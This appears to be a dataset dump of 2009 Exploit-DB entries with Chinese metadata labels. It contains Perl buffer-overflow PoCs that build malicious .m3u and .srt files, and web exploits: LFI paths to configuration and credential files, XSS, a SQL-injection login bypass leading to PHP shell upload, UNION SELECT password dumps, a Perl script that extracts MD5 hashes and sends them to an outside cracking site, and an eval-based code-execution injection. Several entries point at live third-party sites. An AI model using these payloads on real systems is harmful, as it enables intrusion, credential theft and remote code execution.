QLWD/code_shield huggingface dataset:
标题: Mini-stream RM-MP3 Converter 3.0.0.7 - '.m3u' Local Stack Overflow (PoC) EDB-ID: 8405 CVE: 2009-1330 2009-1329 2009-1328 2009-1327 2009-1326 2009-1325 2009-1324 类型: DOS 平台: WINDOWS 发布日期: 2009-04-13 漏洞利用脚本: #!/usr/bin/perl
#
#
# ************************************************************************
# *  Mini-stream RM-MP3 Converter (.M3U File) Local Stack Overflow POC   *
# ************************************************************************
#
# Found By : Cyber-Zone (ABDELKHALEK)
# E-mail   : Paradis_des_fous@hotmail.fr
# Home     : WwW.IQ-TY.CoM ; WwW.No-Exploit.CoM
# Greetz   : Hussin X , Jiko (my brother), ZoRLu , Nabilx , Mag!c ompo , Stack ... all mgharba HaCkers and Sec-r1z.com
#
# Download product : http://www.rm-to-mp3.net/downloads/Mini-streamRM-MP3Converter.exe
#
#
# Olly registers
#EAX 00000001
#ECX 41414141
#EDX 00D20000
#EBX 00333ED8 ASCII "C:\Documents and Settings\Administrateur\Bureau\KHAL.m3u"
#ESP 000F6C90
#EBP 000FBFB4
#ESI 77C2FCE0 msvcrt.77C2FCE0
#EDI 00006619
#EIP 41414141
#
my $Header = "#EXTM3U\n";

my $ex="http://"."A" x 26121;# just Poc tested under MS windows SP2 Fr

open(MYFILE,'>>KHAL.m3u');

print MYFILE $Header.$ex;

close(MYFILE);

# milw0rm.com [2009-04-13] URL: https://www.exploit-db.com/exploits/8405
标题: Mini-stream Ripper - '.m3u' Local Stack Overflow (PoC) EDB-ID: 8402 CVE: 2009-1330 2009-1329 2009-1328 2009-1327 2009-1326 2009-1325 2009-1324 类型: DOS 平台: WINDOWS 发布日期: 2009-04-13 漏洞利用脚本: #!/usr/bin/perl
#
#
# *************************************************************
# *  Mini-stream Ripper (.M3U File) Local Stack Overflow POC  *
# *************************************************************
#
# Found By : Cyber-Zone (ABDELKHALEK)
# E-mail   : Paradis_des_fous@hotmail.fr
# Home     : WwW.IQ-TY.CoM ; WwW.No-Exploit.CoM
# Greetz   : Hussin X , Jiko (my brother), ZoRLu , Nabilx , Mag!c ompo , Stack ... all mgharba HaCkers and Sec-r1z.com
#
# Download product : http://www.rm-to-mp3.net/downloads/Mini-streamRipper.exe
#
#
# Olly registers
#EAX 00000001
#ECX 41414141
#EDX 00D30000
#EBX 00333D60 ASCII "C:\Documents and Settings\Administrateur\Bureau\KHAL.m3u"
#ESP 000F70CC ASCII "AAAA"
#EBP 000FBFB4
#ESI 77C2FCE0 msvcrt.77C2FCE0
#EDI 0000CC2E
#EIP 41414141
#
my $Header = "#EXTM3U\n";

my $ex="http://"."A" x 26129; # note exact this just the POC

open(MYFILE,'>>KHAL.m3u');

print MYFILE $Header.$ex;

close(MYFILE);

# milw0rm.com [2009-04-13] URL: https://www.exploit-db.com/exploits/8402
标题: WM Downloader - '.m3u' Local Stack Overflow (PoC) EDB-ID: 8403 CVE: 2009-1330 2009-1329 2009-1328 2009-1327 2009-1326 2009-1325 2009-1324 类型: DOS 平台: WINDOWS 发布日期: 2009-04-13 漏洞利用脚本: #!/usr/bin/perl
#
#
# *************************************************************
# *    WM Downloader (.M3U File) Local Stack Overflow POC     *
# *************************************************************
#
# Found By : Cyber-Zone (ABDELKHALEK)
# E-mail   : Paradis_des_fous@hotmail.fr
# Home     : WwW.IQ-TY.CoM ; WwW.No-Exploit.CoM
# Greetz   : Hussin X , Jiko (my brother), ZoRLu , Nabilx , Mag!c ompo , Stack ... all mgharba HaCkers and Sec-r1z.com
#
# Download product : http://www.rm-to-mp3.net/downloads/WMDownloader.exe
#
#
# Olly registers
#EAX 00000001
#ECX 41414141
#EDX 00D00000
#EBX 00333D78 ASCII "C:\Documents and Settings\Administrateur\Bureau\KHAL.m3u"
#ESP 000F739C
#EBP 000FBFB4
#ESI 77C2FCE0 msvcrt.77C2FCE0
#EDI 00006619
#EIP 41414141
#
my $Header = "#EXTM3U\n";

my $ex="http://"."A" x 26121;

open(MYFILE,'>>KHAL.m3u');

print MYFILE $Header.$ex;

close(MYFILE);

# milw0rm.com [2009-04-13] URL: https://www.exploit-db.com/exploits/8403
标题: ASX to MP3 Converter - '.m3u' Local Stack Overflow (PoC) EDB-ID: 8407 CVE: 2009-1330 2009-1329 2009-1328 2009-1327 2009-1326 2009-1325 2009-1324 类型: DOS 平台: WINDOWS 发布日期: 2009-04-13 漏洞利用脚本: #!/usr/bin/perl
#
#
# ************************************************************************
# *     ASX to MP3 Converter (.M3U File) Local Stack Overflow POC        *
# ************************************************************************
#
# Found By : Cyber-Zone (ABDELKHALEK)
# E-mail   : Paradis_des_fous@hotmail.fr
# Home     : WwW.IQ-TY.CoM ; WwW.No-Exploit.CoM
# Greetz   : Hussin X , Jiko (my brother), ZoRLu , Nabilx , Mag!c ompo , Stack ... all mgharba HaCkers and Sec-r1z.com
#
# Download product : http://www.rm-to-mp3.net/downloads/ASXtoMP3Converter.exe
#
#
# Olly registers
#EAX 00000001
#ECX 41414141
#EDX 00D30000
#EBX 00333ED8 ASCII "C:\Documents and Settings\Administrateur\Bureau\KHAL.m3u"
#ESP 000F6C90
#EBP 000FBFB4
#ESI 77C2FCE0 msvcrt.77C2FCE0
#EDI 00006619
#EIP 41414141
#
my $Header = "#EXTM3U\n";

my $ex="http://"."A" x 26121;# just Poc tested under MS windows SP2 Fr

open(MYFILE,'>>KHAL.m3u');

print MYFILE $Header.$ex;

close(MYFILE);

# milw0rm.com [2009-04-13] URL: https://www.exploit-db.com/exploits/8407
标题: RM Downloader - '.m3u' Local Stack Overflow (PoC) EDB-ID: 8404 CVE: 2009-1330 2009-1329 2009-1328 2009-1327 2009-1326 2009-1325 2009-1324 类型: DOS 平台: WINDOWS 发布日期: 2009-04-13 漏洞利用脚本: #!/usr/bin/perl
#
#
# *********************************************************
# *  RM Downloader (.M3U File) Local Stack Overflow POC   *
# *********************************************************
#
# Found By : Cyber-Zone (ABDELKHALEK)
# E-mail   : Paradis_des_fous@hotmail.fr
# Home     : WwW.IQ-TY.CoM ; WwW.No-Exploit.CoM
# Greetz   : Hussin X , Jiko (my brother), ZoRLu , Nabilx , Mag!c ompo , Stack ... all mgharba HaCkers and Sec-r1z.com
#
# Download product : http://www.rm-to-mp3.net/downloads/RMDownloader.exe
#
#
# Olly registers
#EAX 00000001
#ECX 7C92056D ntdll.7C92056D
#EDX 00A20000
#EBX 00104A54
#ESP 000FFE3C
#EBP 00333E98 ASCII "C:\Documents and Settings\Administrateur\Bureau\KHAL.m3u"
#ESI 77C2FCE0 MSVCRT.77C2FCE0
#EDI 0000660D
#EIP 41414141
#
my $Header = "#EXTM3U\n";

my $ex="http://"."A" x 26109;# just Poc tested under MS windows SP2 Fr

open(MYFILE,'>>KHAL.m3u');

print MYFILE $Header.$ex;

close(MYFILE);

# milw0rm.com [2009-04-13] URL: https://www.exploit-db.com/exploits/8404
标题: moziloCMS 1.11 - Local File Inclusion / Full Path Disclosure / Cross-Site Scripting EDB-ID: 8394 CVE: 2009-4209 2009-1369 2009-1368 2009-1367 2008-6126 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-10 漏洞利用脚本: ###############################################################################################
[+] moziloCMS 1.11 (LFI/PD/XSS) Multiple Remote Vulnerabilites
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
###############################################################################################

[+] Local File Inclusion

 PoC 1 :

   http://127.0.0.1/index.php?cat=10_Willkommen&page=../../../../../BOOTSECT.BAK%00

 PoC 2 :

   http://127.0.0.1/index.php?cat=10_Willkommen&page=../../admin/conf/logindata.conf%00

[+] Cross Site Scripting

 PoC :

   http://127.0.0.1/index.php?action=search&query=<script>alert(document.cookie)</script>

[+] Path Disclosure

 PoC's :

   http://127.0.0.1/gallery.php?gal[]=moziloCMS
   http://127.0.0.1/index.php?cat=10_Willkommen&page[]=10_Willkommen
   http://127.0.0.1/index.php?cat[]=10_Willkommen&page=10_Willkommen
   http://127.0.0.1/download.php?cat=10_Willkommen&file[]=text.txt

###############################################################################################

# milw0rm.com [2009-04-10] URL: https://www.exploit-db.com/exploits/8394
标题: WebFileExplorer 3.1 - Authentication Bypass EDB-ID: 8382 CVE: 2009-1323 2009-1314 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-09 漏洞利用脚本: Product Name: WebFileExplorer
Version     : 3.1
URL         : http://www.webfileexplorer.com/
Price       : 99 $ USD

Credits to  : Giovanni Buzzin, "Osirys"
              osirys[at]autistici[dot]org

WebFileExplorer v3.1, is prone to multiple vulnerabilities. At first, an attacker can inject his evil sql code
in the login form, bypassing it, he just needs to know the nick of an existent username to login as him.
Live Exploiting: http://www.webfileexplorer.com/userdemo/
Headers:
http://www.webfileexplorer.com/userdemo/body.asp

POST /userdemo/body.asp HTTP/1.1
Host: www.webfileexplorer.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.webfileexplorer.com/userdemo/body.asp
Cookie: ASPSESSIONIDSCQCBDQR=CDMBDPMCINOGGDFHIFOJOLGL
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
login_name=&dologin=yes&id=admin%27+or+%271%3D1&pwd=osirysp0wa&B1=Login

Sending this request a remote attacker is able to bypass the login form.
The sql injection used is: admin%27+or+%271%3D1
so                       : admin' or '1=1

Once the attacker logged in, from the Control Panel he's able to do a lot of things, upload all file of any
extension, create files of any type, and so on. So this normal Authority Bypass can become a dangerous
Arbitrary Shell Upload, so kinda of Remote Command Execution.

Headers:

http://www.webfileexplorer.com/userdemo/body.asp?action=savefile&path=/admindemo/demo/er

POST /userdemo/body.asp?action=savefile&path=/admindemo/demo/er HTTP/1.1
Host: www.webfileexplorer.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.webfileexplorer.com/userdemo/body.asp?action=newfile
Cookie: ASPSESSIONIDSCQCBDQR=CDMBDPMCINOGGDFHIFOJOLGL; ControlPan=max; fileoptions=max; folderoptions=max; SearchBoxStat=max; FoldersTree=off
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
file=test_.php&newfilestuff=%3C%3Fphp+echo+%22I%27m+horn%3Cbr%3E%22%3B+%3F%3E&submit=create+file

Let's see now, the response of the created file:

osirys[~]>$ perl asd.txt http://www.webfileexplorer.com/admindemo/demo/er/test_.php                                                                  I'm horn<br>
osirys[~]>$

Game Over.

# milw0rm.com [2009-04-09] URL: https://www.exploit-db.com/exploits/8382
标题: WebFileExplorer 3.1 - 'db.mdb' Database Disclosure EDB-ID: 8374 CVE: 2009-1495 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-08 漏洞利用脚本: @~~=======================================~~@
====C4TEAM.ORG====ByALBAYX====C4TEAM.ORG=====
@~~=======================================~~@
@~~=Author   : ByALBAYX

@~~=Website  : WWW.C4TEAM.ORG

@~~=Contry   : Turkish
@~~=======================================~~@
@~~=Script   :WebFileExplorer V3.1 Released

@~~=S.Site   :http://www.webfileexplorer.com

@~~=Demo     :http://www.webfileexplorer.com/demo.htm
@~~=======================================~~@

@~~=Vul      :

@~~=http://c4team.org / [PATH] /DATA/DB.MDB

@~~=======================================~~@
@~~=Demo:

@~~=[DATABASE DISCLOSURE]

@~~=http://files.soa.org/webfileexplorer/DATA/DB.MDB

@~~====================================================~~@
@~~= Kralman / Spotgang / Rebelist / Mr.Silent / Mrabah.12r / Darbe / Redline / Master_Hacker / K3v!n /

@~~= + Unutmayanlar Icin 

@~~= Bir SÃ¼re Yoqum :(
@~~====================================================~~@

# milw0rm.com [2009-04-08] URL: https://www.exploit-db.com/exploits/8374
标题: Joomla! Component Cmimarketplace - 'viewit' Directory Traversal EDB-ID: 8367 CVE: 2009-1496 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-08 漏洞利用脚本: #############################################################################
#                           #
#     Joomla Component Cmimarketplace Directory Traversal Vulnerability     #
#                           #
#############################################################################


########################################

[~] Vulnerability found by: H!tm@N
[~] Contact: khghitman[at]gmail[dot]com
[~] Site: www.khg-crew.ws
[~] Greetz: boom3rang, KHG, chs, redc00de 
[~]         -=[Kosova Hackers Group]=--=[KHG-Crew]=-

########################################

[~] ScriptName:    "Joomla"
[~] Component:     "Cmimarketplace (com_cmimarketplace)"  
[~] Date:          "August 2008"
[~] Author:        "Magnetic Merchandising Inc."
[~] E-mail:        "client@ijobid.com"
[~] Author URL:    "www.ijobid.com"

########################################

[~] Exploit: /index.php?option=com_cmimarketplace&Itemid=70&viewit=[Directory]&cid=1

[~] Example: /index.php?option=com_cmimarketplace&Itemid=70&viewit=/../../&cid=1

########################################

[~] Live Demo: http://democmi.ijobid.com/index.php?option=com_cmimarketplace&Itemid=70&viewit=/../../&cid=1

########################################

[~] Proud 2 be Albanian
[~] Proud 2 be Muslim
[~] R.I.P redc00de

########################################

# milw0rm.com [2009-04-08] URL: https://www.exploit-db.com/exploits/8367
标题: Joomla! Component MailTo - 'article' SQL Injection EDB-ID: 8366 CVE: 2009-1499 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-08 漏洞利用脚本: #############################################################################
#                           #
#            Joomla Component MailTo SQL Injection Vulnerability            #
#                           #
#############################################################################


########################################

[~] Vulnerability found by: H!tm@N
[~] Contact: khghitman[at]gmail[dot]com
[~] Site: www.khg-crew.ws
[~] Greetz: boom3rang, KHG, chs, redc00de 
[~]         -=[Kosova Hackers Group]=--=[KHG-Crew]=-

########################################

[~] ScriptName:     "Joomla"
[~] Component:      "MailTo (com_mailto)" 
[~] Date:           "April 2006"

########################################

[~] Exploit /index.php?option=com_mailto&tmpl=mailto&article=[SQL]&Itemid=1
[~] Example /index.php?option=com_mailto&tmpl=mailto&article=550513+and+1=2+union+select+concat(username,char(58),password)KHG+from+jos_users--&Itemid=1

########################################

[~] LiveDemo: http://www.itp.net/index.php?option=com_mailto&tmpl=mailto&article=550513+and+1=2+union+select+concat(username,char(58),password)KHG+from+jos_users--&Itemid=1

########################################

[~] Proud 2 be Albanian
[~] Proud 2 be Muslim
[~] R.I.P redc00de

########################################

# milw0rm.com [2009-04-08] URL: https://www.exploit-db.com/exploits/8366
标题: GOM Player 2.1.16.6134 - Subtitle Local Buffer Overflow (PoC) EDB-ID: 8370 CVE: 2009-1497 类型: DOS 平台: WINDOWS 发布日期: 2009-04-08 漏洞利用脚本: #!/usr/local/bin/perl

##################################################################
#
# Title : GOM Player Subtitle Buffer Overflow Vulnerabiltity
# Discovery by : Bui Quang Minh
# Tested : GOM Player 2.1.16.6134
# Reference : Bkis [http://security.bkis.vn/?p=501]
# PoC : Windows XP (Silently Crash) and Windows Vista, Windows 7.
# 
##################################################################

my $buffer = "A" x 10240 x 4;
my $filename = "gomdos.srt";
open (FILE,">$filename") || die "\nCan't open $file: $!";
print FILE "$buffer";
close (FILE);
print "\nSuccessfully!\n\nPlease try $filename with a video file!\n";

# milw0rm.com [2009-04-08] URL: https://www.exploit-db.com/exploits/8370
标题: FlexCMS Calendar - 'itemID' Blind SQL Injection EDB-ID: 8355 CVE: 2009-1256 2009-0534 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-06 漏洞利用脚本: *****************************************************************************
*                           *
*          FlexCMS Calendar(ItemId) Blind SQL Injection Vulnerability       *
*                           *
*****************************************************************************
AUTHOR: MisterRichard
Developer site: http://www.flexcms.dk/
Admin login site:
http://target.com/flexadmin/
***************************************

[=] Vulnerability author : Lanti-Net
[=] Contact: lanti-net[at]hotmail[dot]com
[=] Site : www.khg-crew.ws
[=] Greetz: SpYrO , boom3rang, KHG, urtan, H!tm@N , war_ning, chs, redc00de , LiTTlE-HaCkEr , L1R1D0N1
[=]        -=[Kosova Hackers Group]=--=[KHG-Crew]=-

***************************************
[=] Example    : /flx/aktiviteter/kalender/?ItemId={SQL}

   http://www.radikalungdom.dk/flx/aktiviteter/kalender/?ItemId=1%20and%20substring(@@version,1,1)=4  >>FALSE

[=] Live Demo:  http://www.radikalungdom.dk/flx/aktiviteter/kalender/?ItemId=5%20and%20ascii(substring((SELECT%20concat(username,0x3a,password)%20from%20users%20limit%200,1),1,1))>95
  
   http://www.radikalungdom.dk/flx/aktiviteter/kalender/?ItemId=1%20and%20substring(@@version,1,1)=5  >>TRUE
***************************************

[=] Proud 2 be Albanian
[=] Proud 2 be Muslim
[=] United States of Albania

***************************************

# milw0rm.com [2009-04-06] URL: https://www.exploit-db.com/exploits/8355
标题: AdaptBB 1.0 - 'topic_id' SQL Injection / Credentials Disclosure EDB-ID: 8351 CVE: 2009-1259 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-03 漏洞利用脚本: #!/usr/bin/perl -w
#
# AdaptBB 1.0 (topic_id) SQL Injection / Credentials Disclosure Exploit
# 
# Description
# -----------
# AdaptBB contains a flaw that allows an attacker to carry out an SQL 
# injection attack. The issue is due to the inc/bb/topic.php script not 
# properly sanitizing user-supplied input to the 'topic_id' variable. This may 
# allow an attacker to inject or manipulate SQL queries in the backend 
# database if magic_quotes_gpc = off.
# -----------
# by Juri Gianni aka yeat - staker[at]hotmail[dot]it


use strict;
use LWP::Simple;
use IO::Socket;


our ($host,$path,$username) = @ARGV;

if (@ARGV != 3) 
{
       print "\n+-----------------------------------------------------------------------+\n".
             "\r| AdaptBB 1.0 (topic_id) SQL Injection / Credentials Disclosure Exploit |\n".
             "\r+-----------------------------------------------------------------------+\n".
             "\rby yeat - staker[at]hotmail[dot]it\n".
             "\nUsage: perl $0 host /path/ username\n".
             "\nhost: localhost\n".
             "\rpath: /adaptbb/\n".
             "\rusername: target username\n";
       exit;
}  

if ($username =~ /(\w+)/i) {
   print "Victim: $username\n";
   exploit();
}   

sub exploit
{
       my ($packet,$html,$inject,$socket);
       
       $inject = "%27/**/UNION/**/SELECT/**/password,2,3,4,5,6,7,8,9,10/**/".
                 "FROM/**/adaptbb_users/**/WHERE/**/username='$username'%23";
       
       $socket = new IO::Socket::INET(
                                      PeerAddr => $host,
                                      PeerPort => 80,
                                      Proto    => 'tcp',
                                    ) or die $!;
                                        
                                          
      $packet .= "GET $path/index.php?do=topic&topic_id=$inject\r\n";
      $packet .= "Host: $host\r\n";
      $packet .= "User-Agent: Lynx (textmode)\r\n";
      $packet .= "Connection: close\r\n\r\n";
      
      $socket->send($packet);
      
      while (<$socket>) {
         $html .= $_;
      }          
      
      if ($html =~ /Re: ([a-f0-9]{32})"/i) {
         print "Exploit successful\nMD5: $1\n";
         print "Password Cracked: ".search_md5($1)."\n";
      }
      else {
         print "Exploit unsuccesful..\n";
      }      
}      
    

sub search_md5
{
     my $hash = shift @_;
     my $cont = undef;
     
     if ($hash =~ /^([a-f0-9]{32})$/i) {
        return get("http://md5.rednoize.com/?p&s=md5&q=$hash");
     }
     else {
        return 404;
     }      
}   

# milw0rm.com [2009-04-03] URL: https://www.exploit-db.com/exploits/8351
标题: Gravity Board X 2.0 Beta - SQL Injection / (Authenticated) Code Execution EDB-ID: 8350 CVE: 2009-1278 2009-1277 2008-2996 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-03 漏洞利用脚本: ================================================================================

Found : brain[pillow]
Dork  : "Powered By Gravity Board X v2.0 BETA"
Visit : brainpillow.cc, forum.antichat.ru, raz0r.name
Mail  : brainpillow@gmail.com

================================================================================

        SQL-injections:

/index.php?action=viewprofile&member_id=slider-loleg'+union+select+concat_ws(char(58),displayname,pw,email)+from+gbx_members+where+1='1
/index.php?action=viewboard&board_id=m0nzt3r-loleg-too'+union+select+0,concat_ws(char(58),displayname,pw,email),2+from+gbx_members+where+1='1

================================================================================

        Code exec (in admin panel):

Go:                     /index.php?action=configure
Enter Board Name:       xXx";if(isset($_GET[c]))eval($_GET[c]);#
Go:                     /index.php?ok=phpinfo();

================================================================================

# milw0rm.com [2009-04-03] URL: https://www.exploit-db.com/exploits/8350
标题: ActiveKB KnowledgeBase - 'Panel' Local File Inclusion EDB-ID: 8346 CVE: 2009-4957 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-03 漏洞利用脚本: [o]------------------------------------------------------------------------------------[x]
 |  Local File Inclusion Vulnerability                                                  |
[o]------------------------------------------------------------------------------------[o]
 |  Software : ActiveKB Knowledgebase version X.X                                       |
 |  Vendor    : http://www.interspire.com/activekb/                                     |
 |  Date         : 02 April 2009                                                        |
 |  Author     : Angela Chang                                                           |
 |  Contact   :  mizz_4ng3l@yahoo.com                                                   |
[o]------------------------------------------------------------------------------------[o]

[Â»] Google Dork

    "Powered by ActiveKB Knowledgebase Software"
    inurl:loadpanel.php?Panel=

[Â»] Vulnerable

    ./loadpanel.php

[Â»] Exploit

    http://[site]/[path]/loadpanel.php?Panel=[LFI]%00

[Â»] Sample

    http://help.theedweb.com/activekb/loadpanel.php?Panel=[LFI]%00
    http://my.myriadnetwork.com/kb//loadpanel.php?Panel=[LFI]%00

[o]------------------------------------------------------------------------------------[x]
 |  Greetz     :    Speciale Thanks FoR :                                               |
[o]------------------------------------------------------------------------------------[o]
 |    -------- Vrs-hCk , Nyubi (Solpot) , OoN_Boy      ----------                       |
[o]------------------------------------------------------------------------------------[o]

# milw0rm.com [2009-04-03] URL: https://www.exploit-db.com/exploits/8346